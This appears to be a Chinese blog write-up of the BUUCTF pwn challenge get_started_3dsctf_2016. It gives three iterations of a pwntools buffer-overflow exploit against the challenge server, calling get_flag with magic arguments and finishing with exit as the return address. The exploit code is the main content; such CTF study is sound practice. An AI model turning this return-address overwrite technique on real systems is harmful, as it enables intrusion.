[BUUCTF-pwn]——get_started_3dsctf_2016

[BUUCTF-pwn]——get_started_3dsctf_2016

首先还是先checksec 一下看看,老样子32位NX保护.
在这里插入图片描述
IDA中
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
看到这些,你是不是和我一样觉得so easy!!! 我一开始也觉得这种题
payload = ‘a’ * offest + ‘junk’ + get_flag的地址 + ‘junk’ + get_flag的第一个参数 + get_flag的第二个参数就好('junk’就是四个字节,第一个是代替main的ebp,第二个代替get_flag的返回地址)
exploit就是

from pwn import *
p = remote("node3.buuoj.cn",28584)
context.log_level = 'debug'
a1 = 0x308cd64f
a2 = 0x195719d1
get_flag_addr = 0x080489A0
payload = 'a'* (0x38+0x4) + p32(get_flag_addr) + p32(0)+ p32(a1) + p32(a2)
p.sendline(payload)
p.recv()
p.interactive()

可是不对,打不通我仔细观察,发现这个main竟然没有ebp
在这里插入图片描述
以前也遇到过但是没有在意.修改下exploit

from pwn import *
p = remote("node3.buuoj.cn",28584)
context.log_level = 'debug'
a1 = 0x308cd64f
a2 = 0x195719d1
get_flag_addr = 0x080489A0
payload = 'a'* 0x38 + p32(get_flag_addr) + p32(0)+ p32(a1) + p32(a2)
p.sendline(payload)
p.recv()
p.interactive()

发现还是打不通,想了好久都不可以. 查看一下别的人如何解决的发现,get_flag不能正常返回就无法打印,俺也不知道为什么. C语言中有exit函数可以用来退出程序
在这里插入图片描述
再次将exploit修改一下

from pwn import *
p = remote("node3.buuoj.cn",28584)
context.log_level = 'debug'
a1 = 0x308cd64f
a2 = 0x195719d1
get_flag_addr = 0x080489A0
exit_addr = 0x0804E6A0
payload = 'a'* 0x38 + p32(get_flag_addr) + p32(exit_addr)+ p32(a1) + p32(a2)
p.sendline(payload)
p.recv()
p.interactive()

在这里插入图片描述

成功!!! 太难了孩子 wuwuwu

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值